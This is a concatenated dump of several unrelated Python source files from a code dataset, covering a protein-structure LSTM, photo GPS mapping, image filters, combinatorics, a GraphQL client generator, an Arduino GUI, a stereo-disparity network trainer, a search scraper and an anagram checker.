neural network '''\n\t\ttry:\n\t\t\twith h5py.File(X, 'r') as x: X = x['default'][()]\n\t\t\twith h5py.File(Y, 'r') as y: Y = y['default'][()]\n\t\t\tshape = X.shape[1:]\n\t\texcept: shape = (1452, 23)\n\t\tnode1 = 150\n\t\tnode2 = 150\n\t\tlr = 0.001\n\t\tmodel = Sequential()\n\t\tmodel.add(Bidirectional(LSTM(node1), input_shape=shape))\n\t\tmodel.add(RepeatVector(1452))\n\t\tmodel.add(Bidirectional(LSTM(node2, return_sequences=True)))\n\t\tmodel.add(TimeDistributed(Dense(3)))\n\t\tmodel.compile(optimizer=Adam(lr=lr), loss='mean_squared_error')\n\t\tif choice == 'train':\n\t\t\tmodel.fit(X, Y, batch_size=32, epochs=1, verbose=1)\n\t\t\tmodel.save_weights('weights.h5')\n\t\telif choice == 'predict':\n\t\t\tmodel.load_weights('weights.h5')\n\t\t\taa = np.array([x for x in aa])\n\t\t\tss = np.array([x for x in ss])\n\t\t\taa[aa=='A'] = 0\n\t\t\taa[aa=='C'] = 1\n\t\t\taa[aa=='D'] = 2\n\t\t\taa[aa=='E'] = 3\n\t\t\taa[aa=='F'] = 4\n\t\t\taa[aa=='G'] = 5\n\t\t\taa[aa=='H'] = 6\n\t\t\taa[aa=='I'] = 7\n\t\t\taa[aa=='K'] = 8\n\t\t\taa[aa=='L'] = 9\n\t\t\taa[aa=='M'] = 10\n\t\t\taa[aa=='N'] = 11\n\t\t\taa[aa=='P'] = 12\n\t\t\taa[aa=='Q'] = 13\n\t\t\taa[aa=='R'] = 14\n\t\t\taa[aa=='S'] = 15\n\t\t\taa[aa=='T'] = 16\n\t\t\taa[aa=='V'] = 17\n\t\t\taa[aa=='W'] = 18\n\t\t\taa[aa=='Y'] = 19\n\t\t\tss[ss=='L'] = 0\n\t\t\tss[ss=='H'] = 1\n\t\t\tss[ss=='E'] = 2\n\t\t\taa = aa.astype(int)\n\t\t\tss = ss.astype(int)\n\t\t\tAminos = []\n\t\t\tfor x in aa:\n\t\t\t\tletter = [0 for _ in range(20)]\n\t\t\t\tif x != -1: letter[x] = 1\n\t\t\t\tAminos.append(letter)\n\t\t\tStruct = []\n\t\t\tfor x in ss:\n\t\t\t\tletter = [0 for _ in range(3)]\n\t\t\t\tif x != -1: letter[x] = 1\n\t\t\t\tStruct.append(letter)\n\t\t\taa = np.array(Aminos)\n\t\t\tss = np.array(Struct)\n\t\t\tX = np.concatenate((aa, ss), axis=1)\n\t\t\tX = np.expand_dims(X, axis=0)\n\t\t\tprediction = model.predict(X)[0]\n\t\t\tp = prediction[:,0]\n\t\t\ts = prediction[:,1]\n\t\t\to = prediction[:,2]\n\t\t\tp = p * 360\n\t\t\ts = s * 360\n\t\t\to = o * 360\n\t\t\tp = p.tolist()\n\t\t\ts = s.tolist()\n\t\t\to = o.tolist()\n\t\t\tp = p[:len(aa)]\n\t\t\ts = s[:len(aa)]\n\t\t\to = o[:len(aa)]\n\t\t\treturn(p, s, o)\n\nclass SEQUENCE():\n\t''' '''\n\tpass\n\ndef main():\n\tif args.DatasetBack:\n\t\tDB = Dataset()\n\t\tDB.build(sys.argv[2])\n\telif args.DatasetFrag: #### ADD TO READ ME\n\t\tDF = Vall()\n\t\tDF.vall()\n\telif args.DatasetSeq: #### ADD TO READ ME\n\t\tDS = Dataset()\n\t\tDS.Database('DATABASE', 'PDBDatabase')\n\t\tDS.Extract('PDBDatabase')\n\t\tDS.NonProtein('PDBDatabase')\n\t\tDS.Break('PDBDatabase')\n\t\tDS.Renumber('PDBDatabase')\n\t\tDS.DatasetAsPSaM('cln')\n\t\tDS.Header(280, 'AsPSa')\n\t\tDS.Fill('dataset_header.csv')\n\telif args.TrainBack:\n\t\tprint('\\x1b[33m[.] Training...\\x1b[0m')\n\t\tBB = BACKBONE()\n\t\tBB.train('dataset_PS.csv', 'dataset_DM.csv')\n\t\tprint('\\x1b[32m[+] Training done\\x1b[0m')\n\n\t #### ADD TO READ ME GENERATE BACKBONE\n\n\telif args.TrainFrag: #### ADD TO READ ME\n\t\tF = FRAGMENT()\n\t\tF.lstm()\n\t #### ADD TO READ ME GENERATE Fragments\n\telif args.TrainSeq: #### ADD TO READ ME\n\t\tpass\n\t #### ADD TO READ ME GENERATE sequence\nif __name__ == '__main__': main()\n","sub_path":"RamaNet2/RamaNet2.py","file_name":"RamaNet2.py","file_ext":"py","file_size_in_byte":50680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"613162053","text":"import subprocess\nimport os\nimport re\nimport json\nimport requests\nfrom pprint import pprint\nfrom gmplot import GoogleMapPlotter\nfrom WGS84ToGCJ02 import transform\nimport time\nfrom pprint import *\nimport sys\n\nclass pict_on_google_map :\n\tdef __init__(self,location, file_path):\n\t\tself._file_path = file_path\n\t\tself._gmap = GoogleMapPlotter.from_geocode(location)\n\t\tself._marker_list = []\n\t\tself._jpg_paths = []\n\t\tself._per_dir_jpg_paths = {}\n\n\tdef get_jpg_list_from_path(self):\n\t\tfor root,directories,files in os.walk(self._file_path):\n\t\t\tfound_jpg_in_dir = False\n\t\t\tfiles_in_dir = []\n\t\t\tfor f in files:\n\t\t\t\tif f.endswith('.JPG') or f.endswith('.jpg'):\n\t\t\t\t\tfound_jpg_in_dir= True\n\t\t\t\t\tself._jpg_paths.append(os.path.join(root,f))\n\t\t\t\t\tfiles_in_dir.append(os.path.join(root,f))\n\t\t\tif found_jpg_in_dir :\n\t\t\t\tself._per_dir_jpg_paths[root] =\tfiles_in_dir\n\n\t#Draw on Google Maps\t\t\n\tdef main(self):\n\t\tself.get_jpg_list_from_path()\n\t\tfor filepath in self._jpg_paths:\n#\t\t\t\tprint(filepath)\n\t\t\t\ttry: \n\t\t\t\t\tpict_dict = self.get_json_from_pict(filepath)\n\t\t\t\t\tif self.check_gps_data_in_dict(pict_dict):\n\t\t\t\t\t\tself.add_marker_list(pict_dict)\n\t\t\t\texcept Exception:\n\t\t\t\t\tpass\n\n\t\tself.plot_on_google_map()\n\t\tself.draw_google_map()\n\t\t\t\t\t\n\n\t\t\n\tdef check_gps_data_in_dict(self,pict_dict):\n\t\tif 'GPSDateStamp' in pict_dict and 'GPSLatitude' in pict_dict:\n\t\t\treturn True\n\t\telse :\n\t\t\treturn False\n\t\t\t\n\n\tdef get_json_from_pict(self,file_name):\n\t\tcli_name = \"./exiftool -j \" + file_name\n#\t\tprint(cli_name)\n\t\tret = subprocess.getoutput(cli_name)\n#\t\tprint(ret)\n\t\tpict_list = json.loads(ret)\n\t\treturn pict_list[0]\n\tdef get_gps_time(self,pict_dict):\n\t\treturn pict_dict['GPSDateStamp']\n\tdef get_gps_latitude(self,pict_dict):\n\t\tlat_str = pict_dict['GPSLatitude']\n\t\tlatitude = self.trans_gps_cord(lat_str)\n\t\treturn latitude\n\tdef get_gps_longtitude(self,pict_dict):\n\t\tlongti_str = pict_dict['GPSLongitude']\n\t\tlongtitude = self.trans_gps_cord(longti_str)\n\t\treturn longtitude\n\tdef get_gps_altitude(self,pict_dict):\n\t\treturn pict_dict['GPSAltitude']\n\t\n\tdef trans_gps_cord(self, str):\n#\t\tx = re.split(31 deg 10' 55.01\" N\n\t\tx = re.split('\\ |\\'|\"',str)\n#\t\tprint(x)\n\t\tif (x[6] == 'W') or (x[6] == 'S'):\n\t\t\tflag = -1\n\t\telse:\n\t\t\tflag = 1\n\t\tx = [x[0],x[2],x[4]]\n\t\tx = [ float(t) for t in x]\n\t\treturn flag*(x[0] + x[1]/60 + x[2]/3600)\n\tdef get_mars_geo(self,pict_dict):\n\t\treturn transform(self.get_gps_latitude(pict_dict),self.get_gps_longtitude(pict_dict))\n\n\t\t\n\tdef add_marker_list(self,pict_dict):\n#\t\ttup = (self.get_gps_latitude(),self.get_gps_longtitude())\n\t\tmg_lat ,mg_long = self.get_mars_geo(pict_dict)\n\t\ttup = (mg_lat, mg_long)\n\t\tself._marker_list.append(tup)\n#\t\tprint(self._marker_list)\n\t\t\n\tdef plot_on_google_map(self):\n\t\tfor item in self._marker_list:\n\t\t\tself._gmap.marker(item[0],item[1],\"red\")\n\tdef draw_google_map(self):\n\t\t\tself._gmap.draw('./mymap.html')\n\t\t\n\t\n\t\t\n\n\nif __name__ == '__main__':\n\tif len(sys.argv) != 3:\n\t\tprint(\"usage : python plot_on_google_maps.py location photo_directory\")\n\t\tsys.exit()\n\tplot_pict = pict_on_google_map(sys.argv[1],sys.argv[2])\n\tplot_pict.main()\n\t\n\t\n\n\n\t\n\t\n\n","sub_path":"plot_on_google_maps.py","file_name":"plot_on_google_maps.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"249085029","text":"from Cimpl import choose_file, load_image, copy, create_color, set_color,\\\n show, Image, get_color, create_image\n\n\ndef extreme_contrast(image:Image) -> Image:\n \n new_image = copy(image)\n for pixel in image:\n x, y, (r, g, b) = pixel \n if 0<=r<=127:\n r = 0\n elif 128<=r<=255:\n r = 255\n if 0<=g<=127:\n g = 0\n elif 128<=g<=255:\n g = 255 \n if 0<=b<=127:\n b = 0\n elif 128<=b<=255:\n b = 255 \n new_colour = create_color(r,g,b)\n set_color(new_image, x, y, new_colour)\n return new_image\n \n\n\n'''Obtained from the [test_grayscale.py] file off of cuLearn'''\ndef check_equal(description: str, outcome, expected) -> None:\n \"\"\"\n Print a \"passed\" message if outcome and expected have same type and\n are equal (as determined by the == operator); otherwise, print a \n \"fail\" message.\n \n Parameter description should provide information that will help us\n interpret the test results; e.g., the call expression that yields\n outcome.\n \n Parameters outcome and expected are typically the actual value returned\n by a call expression and the value we expect a correct implementation\n of the function to return, respectively. Both parameters must have the same\n type, which must be a type for which == is used to determine if two values\n are equal. Don't use this function to check if floats, lists of floats,\n tuples of floats, etc. are equal. \n \"\"\"\n outcome_type = type(outcome)\n expected_type = type(expected)\n if outcome_type != expected_type:\n \n # The format method is explained on pages 119-122 of \n # 'Practical Programming', 3rd ed.\n \n print(\"{0} FAILED: expected ({1}) has type {2}, \" \\\n \"but outcome ({3}) has type {4}\".\n format(description, expected, str(expected_type).strip(' '), \n outcome, str(outcome_type).strip(' ')))\n elif outcome != expected:\n print(\"{0} FAILED: expected {1}, got {2}\".\n format(description, expected, outcome))\n else:\n print(\"{0} PASSED\".format(description))\n print(\"------\")\n\ndef test_extreme_contrast():\n ''' tests the two-tone filter, assuming the two strings passed in are \n black and white respectivley.\n >>>test_two_tone()\n Checking pixel @(0, 0) PASSED\n ------\n Checking pixel @(1, 0) PASSED\n ------\n '''\n #Creates the test image\n original = create_image(6, 1)\n set_color(original, 0, 0, create_color(0, 0, 0))\n set_color(original, 1, 0, create_color(0, 128, 128))\n set_color(original, 2, 0, create_color(127, 127, 127))\n set_color(original, 3, 0, create_color(125, 73, 224))\n set_color(original, 4, 0, create_color(254, 255, 255))\n set_color(original, 5, 0, create_color(126, 127, 128)) \n \n #Proper Image after extreme contrast is applied\n actual = create_image(6, 1)\n set_color(actual, 0, 0, create_color(0, 0, 0))\n set_color(actual, 1, 0, create_color(0, 255, 255))\n set_color(actual, 2, 0, create_color(0, 0, 0))\n set_color(actual, 3, 0, create_color(0, 0, 255))\n set_color(actual, 4, 0, create_color(255, 255, 255))\n set_color(actual, 5, 0, create_color(0, 0, 255)) \n \n twot_image = extreme_contrast(original) \n for x, y, col in twot_image:\n check_equal('Checking pixel @(' + str(x) + ', ' + str(y) + ')',\n col, get_color(actual, x, y))\n\nfilename = \"p2-original.jpg\"\nfilename = copy(load_image(filename))\nthreep_img = extreme_contrast(filename)\nshow(threep_img)\ntest_extreme_contrast()","sub_path":"Milestone 2/P5/extreme_contrast.py","file_name":"extreme_contrast.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"480827249","text":"from math import factorial\nfrom fractions import *\n\nmod = int(1000 * 1000 * 1000 + 7)\n\ndef answer(w, h, s):\n total = 0 \n cycidx_cols = cycle_index(w)\n cycidx_rows = cycle_index(h)\n #print( cycidx_cols )\n #print( cycidx_rows )\n for col_coeff, col_cycle in cycidx_cols:\n for row_coeff, row_cycle in cycidx_rows:\n coeff = col_coeff * row_coeff \n cycle = combine(col_cycle, row_cycle) \n #print( cycle )\n value = 1\n for x, power in cycle:\n value *= (1 << power)\n total += (coeff * value)\n return total\n\ndef cycle_index(n):\n return [(coeff(term), term ) for term in gen_vars(n, n)]\n\ndef coeff(term):\n val = 1\n for x, y in term:\n val *= factorial(y) * x ** y\n return Fraction(1, val)\n\ndef gen_vars(n, lim):\n soln_set = []\n if n > 0:\n for x in range(lim, 0, -1): \n if x == 1:\n soln_set.append([(1, n)])\n else:\n for y in xrange(int(n / x), 0, -1):\n recurse = gen_vars(n - x * y, x - 1)\n if len(recurse) == 0:\n soln_set.append([(x, y)])\n for soln in recurse:\n soln_set.append([(x, y)] + soln)\n print( [ (x, y) ] + soln )\n return soln_set\n\ndef combine(term_a, term_b):\n combined = []\n for len_a, freq_a in term_a:\n for len_b, freq_b in term_b:\n lcm = len_a * len_b / gcd(len_a, len_b)\n combined.append((lcm, int(len_a * freq_a * len_b * freq_b / lcm) ) )\n return combined\n\n'''arq = open('bruxo.txt', 'w')\nfor x in xrange(1, 551):\n y = 1\n while y <= 5 and x * y <= 550:\n \tans = answer(x, y, 2)\n \tres = \"\"\n \tres += str(x) + \" \"\n \tres += str(y) + \" \"\n \tres += str(ans)\n #res = answer(x, y, 2) % mod\n print( res )\n print >> arq, res \n y = y + 1\narq.close()\n'''\nprint( answer(1, 5, 2) )\n\n","sub_path":"CodeChef/SnackDown/ADIMAT.py","file_name":"ADIMAT.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"259840844","text":"import collections\nfrom datetime import datetime\nfrom typing import Dict, get_type_hints, Union\n\nfrom jinja2 import Template\n\nfrom gqlpycgen.client import Client\nfrom gqlpycgen.utils import json_dumps\n\n\nMAX_DEPTH = 3\nISO_FORMAT = \"%Y-%m-%dT%H:%M:%S.%fZ\"\n\n\ndef timestamp():\n return datetime.utcnow().strftime(ISO_FORMAT)\n\n\nunion_template = Template(\n \"\"\"{{ pre_prefix }}{{ name }} {\n{{ prefix }}{% for type_obj in types %}... on {{ type_obj.__name__ }} {{ '{' }}\n{% for k, v in get_type_hints(type_obj.__init__).items() %}\n{{ property_to_gql(type_obj, k, v, indent + 1, True) }}\n{% endfor %}\n{{ prefix }}{{ '}' }}\n{% endfor %}\n}\n\"\"\"\n)\n\n\ndef union_gql(union, name, indent):\n if indent > MAX_DEPTH:\n return \"\"\n prefix = \" \" * indent\n pre_prefix = \" \" * (indent - 1)\n types = union.__args__[:-1]\n # TODO - known issue, for the case where two of the types have a property with the same name and the don't have the exact same type it blows up\n # keep in mind String != String!\n # type_properties = dict()\n # for ty in types:\n # props = dict()\n # for k, v in get_type_hints(type_obj.__init__).items()\n # props[k] = v\n # type_properties[ty.__name__] = props\n return union_template.render(\n name=name,\n types=types,\n prefix=prefix,\n pre_prefix=pre_prefix,\n get_type_hints=get_type_hints,\n property_to_gql=property_to_gql,\n indent=indent,\n )\n\n\ndef property_to_gql(cls, name, value, indent, add_alias=False):\n if hasattr(value, \"__origin__\") and value.__origin__ is Union and len(value.__args__) > 2:\n # stupid hack, it seems python adds a NoneType as part of a Union for all\n return union_gql(value, name, indent + 1)\n if hasattr(value, \"__args__\"):\n value = value.__args__[0]\n if cls.TYPES[name].startswith(\"List[\"):\n value = value.__args__[0]\n if hasattr(value, \"__args__\"):\n value = value.__args__[0]\n if hasattr(value, \"__args__\"):\n value = value.__args__[0]\n if hasattr(value, \"gql\"):\n return value.gql(name, indent + 1, None)\n else:\n return (\" \" * indent) + name\n\n\nclass QueryBase(object):\n def __init__(self, client: Client):\n self.client = client\n\n def query(self, query: str, variables: Dict) -> Dict:\n gql_query = query\n try:\n results = self.client.execute(gql_query, variables)\n # TODO - handle error responses\n return results\n except Exception as err:\n print(\"-\" * 80)\n print(query)\n print(json_dumps(variables))\n print(err)\n print(\"-\" * 80)\n return {\"status\": \"err\", \"message\": str(err)}\n\n def prepare(self, cls, name, variables, var_types):\n if hasattr(cls, \"gql\"):\n gql = cls.gql(name, 1, variables)\n # TODO - need to make variable types match exactly, ID != ID! *sigh*\n args = \", \".join([\"${}: {}\".format(arg, var_types[arg].__name__) for arg in variables.keys()])\n if len(variables):\n return \"query %s (%s) { %s }\" % (name, args, gql)\n else:\n return \"query { %s }\" % (gql)\n else:\n return \"query { %s }\" % (name)\n\n\nclass MutationBase(QueryBase):\n def prepare(self, cls, name, variables, var_types):\n if hasattr(cls, \"gql\"):\n gql = cls.gql(name, 1, variables)\n args = \", \".join([\"${}: {}\".format(arg, var_types[arg].__name__) for arg in variables.keys()])\n if len(variables):\n return \"mutation %s (%s) { %s }\" % (name, args, gql)\n else:\n return \"mutation { %s }\" % (gql)\n else:\n return \"mutation { %s }\" % (name)\n\n\nclass ObjectBase(object):\n def to_json(self) -> Dict:\n result = {}\n for k in self.FIELDS:\n value = getattr(self, k)\n if isinstance(value, list):\n result[k] = value\n if len(value) and hasattr(value[0], \"to_json\"):\n result[k] = [v.to_json() for v in value]\n elif hasattr(value, \"to_json\"):\n result[k] = value.to_json()\n elif value is not None:\n result[k] = value\n return result\n\n @classmethod\n def gql(cls, name: str, indent: int, variables: Dict) -> str:\n if indent > MAX_DEPTH:\n return \"\"\n bits = []\n prefix = \" \" * indent\n pre_prefix = \" \" * (indent - 1)\n if variables and len(variables):\n bits.append(\n pre_prefix + name + \"(\" + \", \".join([\"{}: ${}\".format(arg, arg) for arg in variables.keys()]) + \") {\"\n )\n else:\n bits.append(pre_prefix + name + \" {\")\n hints = get_type_hints(cls.__init__)\n for k, v in hints.items():\n bits.append(property_to_gql(cls, k, v, indent))\n bits.append(pre_prefix + \"}\")\n return \"\\n\".join(bits)\n\n @classmethod\n def from_json(cls, obj: Dict):\n if obj is None:\n return None\n args = {}\n hints = get_type_hints(cls.__init__)\n for k, v in hints.items():\n if k in obj:\n if cls.TYPES[k].startswith(\"List[\"):\n values = obj[k]\n v = v.__args__[0]\n if hasattr(v, \"from_json\"):\n args[k] = []\n for value in values:\n args[k].append(v.from_json(value))\n else:\n args[k] = values\n elif hasattr(v, \"from_json\"):\n args[k] = v.from_json(obj[k])\n else:\n args[k] = obj[k]\n else:\n args[k] = None\n return cls(**args)\n","sub_path":"gqlpycgen/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"512736249","text":"# python 2.7 only\n\nfrom Tkinter import *\nimport Tkinter as tk\nimport subprocess \nimport sys\nimport fileinput\n\nWINDOW_SIZE = \"800x400\"\n\ncmds = []\nComPort = 'COM1'\n\ndef SetCmds():\n\tfor line in fileinput.input('MegalodroneMain.cpp', inplace=True):\n\t\tif line.startswith('const char Cmds[] PROGMEM'):\n\t\t\tsys.stdout.write('const char Cmds[] PROGMEM = { ' + str(cmds)[1:-1] + ' };\\n')\n\t\telse:\n\t\t\tsys.stdout.write(line)\n\ndef AddCmd(cmd):\n\tglobal cmds \n\tif cmds is None: \n\t\tcmds = cmd\n\telse:\n\t\tcmds.append(cmd)\n\ndef Upload(): \n\tComPort = ComPortBox.get()\n\tSetCmds()\n\ttext.config(state=NORMAL)\n\toutput = subprocess.check_output('scons ARDUINO_PORT=' + ComPort + ' upload', shell=True)\n\ttext.insert(tk.END, output)\n\ttext.insert(tk.END, \"Done uploading!!!\\n\")\n\ttext.see(tk.END)\n\ttext.config(state=DISABLED)\n\tglobal cmds\n\tdel cmds[:]\n\ndef MoveForward():\n\tAddCmd('F')\n\ttext.config(state=NORMAL)\n\ttext.insert(tk.END, \"Forward \\n\")\n\ttext.see(tk.END)\n\ttext.config(state=DISABLED)\n\ndef TurnLeft():\n\tAddCmd('L')\n\ttext.config(state=NORMAL)\n\ttext.insert(tk.END, \"Turn Left\\n\")\n\ttext.see(tk.END)\n\ttext.config(state=DISABLED)\n\ndef TurnRight():\n\tAddCmd('R')\n\ttext.config(state=NORMAL)\n\ttext.insert(tk.END, \"Turn Right\\n\")\n\ttext.see(tk.END)\t\n\ttext.config(state=DISABLED)\n\ndef ReturnToOrigin():\n\tAddCmd('O')\n\ttext.config(state=NORMAL)\n\ttext.insert(tk.END, \"Go Home!\\n\")\n\ttext.see(tk.END)\n\ttext.config(state=DISABLED)\n\ndef Undo():\n\tglobal cmds\n\tif cmds:\n\t\ttext.config(state=NORMAL)\n\t\ttext.delete(\"end-2c linestart\", \"end\")\n\t\ttext.insert(tk.END, \"\\n\") \n\t\tcmds.pop()\n\ttext.config(state=DISABLED)\n\ndef Clear():\n\tglobal cmds\n\tdel cmds[:]\n\ttext.config(state=NORMAL)\n\ttext.delete(1.0, tk.END)\n\ttext.config(state=DISABLED)\n\n\ntop = tk.Tk()\ntop.geometry(WINDOW_SIZE)\ntop.title(\"Megalodrone\")\n\n\ntext = tk.Text(master=top)\ntext.pack(side=tk.RIGHT, fill=X, expand=0)\n\nbtns = tk.Frame()\n\nMoveForwardBtn = tk.Button(btns, text =\"Move Forward\", command = MoveForward, width=20)\nMoveForwardBtn.pack(ipady=5)\n\nTurnLeftBtn = tk.Button(btns, text =\"Turn Left\", command = TurnLeft, width=20)\nTurnLeftBtn.pack(ipady=5)\n\nTurnRightBtn = tk.Button(btns, text =\"Turn Right\", command = TurnRight, width=20)\nTurnRightBtn.pack(ipady=5)\n\nReturnToOriginBtn = tk.Button(btns, text =\"Return to Origin\", command = ReturnToOrigin, width=20)\nReturnToOriginBtn.pack(ipady=5)\n\nUndoBtn = tk.Button(btns, text =\"Undo\", command = Undo, width=10)\nClearBtn = tk.Button(btns, text =\"Clear All\", command = Clear, width=10)\n\nUndoBtn.pack(ipady=5)\nClearBtn.pack(ipady=5)\n\ntk.Button(btns, text='Exit', command=top.destroy, width=20).pack(ipady=5, side=tk.BOTTOM)\ntk.Button(btns, text =\"Upload\", command = Upload, width=20).pack(ipady=5, side=tk.BOTTOM)\n\nComPortBox = tk.Entry(btns, bg='green', width=18, font='Courier 10', justify=CENTER, textvariable=ComPort)\nComPortBox.insert(tk.END, \"COM1\")\nComPortBox.pack(side=tk.BOTTOM)\n\nbtns.pack(side=tk.LEFT, fill=BOTH, expand=1)\ntop.mainloop()\n","sub_path":"2.3 Sonar/Megalodrone/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"537727986","text":"from __future__ import print_function\nfrom __future__ import absolute_import\n\nimport torch\nimport os\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom torch.optim import RMSprop\nfrom torch.autograd import Variable\nimport numpy as np\nfrom PIL import Image\nimport warnings\nimport time\n\nfrom my_network import GCNet\nfrom my_Dataset import Kitty2015DataSet\nfrom my_loss import ReqLoss, Validation\nfrom my_config import config\n\nclass Model(object):\n def __init__(self):\n self.data_patch=config['data_dir']\n self.model_path=os.path.join(config['model_par_dir'],str(config['model_name_newest'])+'.pkl')\n self.build_net()\n self.load_par()\n self.model_name_newest=config['model_name_newest']\n\n def build_net(self):\n self.net=GCNet()\n if config['if_GPU']:\n self.net=self.net.cuda()\n self.dataset={}\n self.dataloader={}\n self.dataset['train']=Kitty2015DataSet()\n self.dataset['val']=Kitty2015DataSet(if_val=True)\n self.dataloader['train']=iter(\n DataLoader(dataset=self.dataset['train'],batch_size=config['batch_size'],shuffle=True)\n )\n self.dataloader['val']=iter(\n DataLoader(dataset=self.dataset['val'],batch_size=config['batch_size'],shuffle=True)\n )\n self.criterion=RegLoss()\n self.val=Validation()\n self.opti=RMSprop(self.net.parameters(),lr=config['learning_rate'])\n\n def load_par(self):\n if os.path.exists(self.model_path):\n self.net.load_state_dict(torch.load(self.model_path))\n\n def save_par(self):\n model_name=str(self.model_name_newest)+'.pkl'\n model_path=os.path.join(config['model_par_dir'],model_name)\n torch.save(self.net.state_dict(),model_path)\n config['model_name_neweset']=self.model_name_newest\n self.model_name_newest+=1\n self.model_name_newest%=5\n\n def train(self):\n epoches=config['epoches']\n start_time=time.time()\n for epoch in range(epoches):\n total_loss=0\n for batch_index in range(config['bathces_per_epoch']):\n st=time.time()\n sample=iter(self.dataloader['train']).next()\n loss=self.train_batch(sample,epoch,batch_index)\n et=time.time()\n print('cost {0} seconds'.format(int(et-st+0.5)))\n total_loss+=loss\n\n if (batch_index+1)%config['batch_per_validation']==0:\n end_time=time.time()\n print('....time:{0}'.format(end_time-start_time))\n start_time=end_time\n print('...epoch : {0:2d}'.format(epoch))\n print('...validation')\n\n v0_t,v1_t,v2_t=0,0,0\n num=config['number_validation']\n for i in range(num):\n sample=iter(self.dataloader['val']).next()\n v0,v1,v2=self.validation(sample)\n v0_t+=v0\n v1_t+=v1\n v2_t+=v2\n print('...>2 px : {0}% >3px : {1}% >5px : {2}%'.format(v0_t/num,v1_t/num,v2_t/num))\n print('...save parameters')\n\n print('... average loss : {0}'.format(total_loss/config['batches_per_epoch']))\n\n def train_batch(self, batch_sample, epoch, batch_index):\n left_image=batch_sample['left_image'].float()\n right_image=batch_sampel['right_image'].float()\n disp=batch_sample['disp'].float()\n if config['if_GPU']:\n left_image=left_image.cuda()\n right_image=right_image.cuda()\n disp=disp.cuda()\n left_image,right_image,disp=Variable(left_image),Variable(right_image), Variable(disp)\n disp_prediction=self.net((left_image,right_image))\n if(config['if_GPU']):\n disp_prediction=disp_prediction.cuda()\n loss=self.criterion(disp_prediction,disp)\n if config['if_GPU']:\n loss=loss.cuda()\n print('...epoch : {1} batch_index : {2} loss : {0}'.format(loss.data[0],epoch,batch_index))\n self.opti.zero_grad()\n loss.backward()\n self.opti.step()\n return loss.data[0]\n\n def validation(self, batch_sample):\n left_image=batch_sample['left_image'].float()\n right_image=batch_sample['right_image'].float()\n disp=batch_sample['disp'].float()\n if config['if_GPU']:\n left_image=left_image.cuda()\n right_image=right_image.cuda()\n disp=disp.cuda()\n left_image,right_image,disp=Variable(left_image),Variable(right_image),Variable(disp)\n disp_prediction=self.net((left_image,right_image))\n if(config['if_GPU']):\n disp_prediction=disp_prediction.cuda()\n val=self.val(disp_prediction,disp)\n if config['if_GPU']:\n val=[val[0].cuda(), val[1].cuda(), val[2].cuda()]\n\n return val[0].data[0]*100, val[1].data[0]*100, val[2].data[0]*100\n\n def predict_batch(self, batch_sample):\n left_image=batch_sample['left_image'].float()\n right_image=batch_sample['right_image'].float()\n disp=batch_sample['disp'].float()\n if config['if_GPU']:\n left_image=left_image.cuda()\n right_image=right_image.cuda()\n disp=disp.cuda()\n\n left_image,right_image,disp=Variable(left_image),Variable(right_image),Variable(disp)\n disp_prediction=self.net(left_image,right_image)\n loss=self.criterion(disp_prediction,disp)\n if config['if_GPU']:\n loss=loss.cuda()\n print('loss : {0}'.format(loss.data[0]))\n return disp,disp_prediction\n\n def predict(self):\n for i in range(10):\n print(i)\n dir=os.path.join('./Data',str(i))\n if not os.path.exists(dir):\n os.makedirs(dir)\n batch_sample=self.dataloader['val'].next()\n left_image_pre=batch_sample['pre_left']\n image_pre=left_image_pre[0].numpy()\n disp,disp_prediction=self.predict_batch(batch_sample)\n disp_prediction=disp_prediction.cpu().data.numpy()*256\n disp_gt=disp.cpu().data.numpy()[0]*256\n print(disp_prediction.shape)\n np.save(os.path.join(dir,'image_pre.npy'), image_pre)\n np.save(os.path.join(dir,'disp_gt.npy'),disp_gt)\n np.save(os.path.join(dir,'disp_est.npy'),disp_prediction)\n\n\nif __name__=='__main__':\n print('...gc-net main!')\n model=Model()\n model.train()\n\n","sub_path":"GC -Net/my_main.py","file_name":"my_main.py","file_ext":"py","file_size_in_byte":6573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"411931147","text":"import scrapy\nfrom scrapy import Request\nfrom src.utils import util\nfrom src.utils.sparql_controller import Sparql\n\n\nclass Bing(scrapy.Spider):\n name = \"bing\"\n base_url = \"https://www.bing.com/search?q=\"\n is_first_crawl = True\n\n start_urls = []\n\n def parse(self, response):\n\n links = response.css(\"div.b_title a.sh_favicon::attr(href)\").getall()\n\n Sparql.is_endpoint(util.link_filter(links), first_crawl=Bing.is_first_crawl)\n\n next_page = response.css(\"a.sb_pagN.sb_pagN_bp.b_widePag.sb_bp::attr(href)\").get()\n\n if next_page is not None:\n yield Request(response.urljoin(next_page), callback=self.parse)\n","sub_path":"src/SpEnD/spiders/bing.py","file_name":"bing.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"480613061","text":"\"\"\"\r\n判断两个单词是否为变位词(字母个数类型都相同,但字母顺序不同)\r\n方法一:\r\n将第一个单词中的字母逐个与第二个单词中的字母进行比对,如果比对相同,则将第二个\r\n单词中的这个字母划掉(避免再次进行比对,防止第一个单词中的多个相同字母与第二个单词中的\r\n单个字母进行重复比对),直到第一个字母中的单词全部比对一遍。再将第二个字母中的单词用\r\n上述方法与第一个字母中的单词比对过一遍。\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n\r\ndef anagramSolution(s1, s2):\r\n alist = list(s2)\r\n pos1 = 0\r\n stillOK = True\r\n while pos1 < len(s1) and stillOK:\r\n pos2 = 0\r\n found = False\r\n while pos2 < len(alist) and not found:\r\n if s1[pos1] == alist[pos2]:\r\n found = True\r\n else:\r\n pos2 += 1\r\n if found:\r\n alist[pos2] = None\r\n 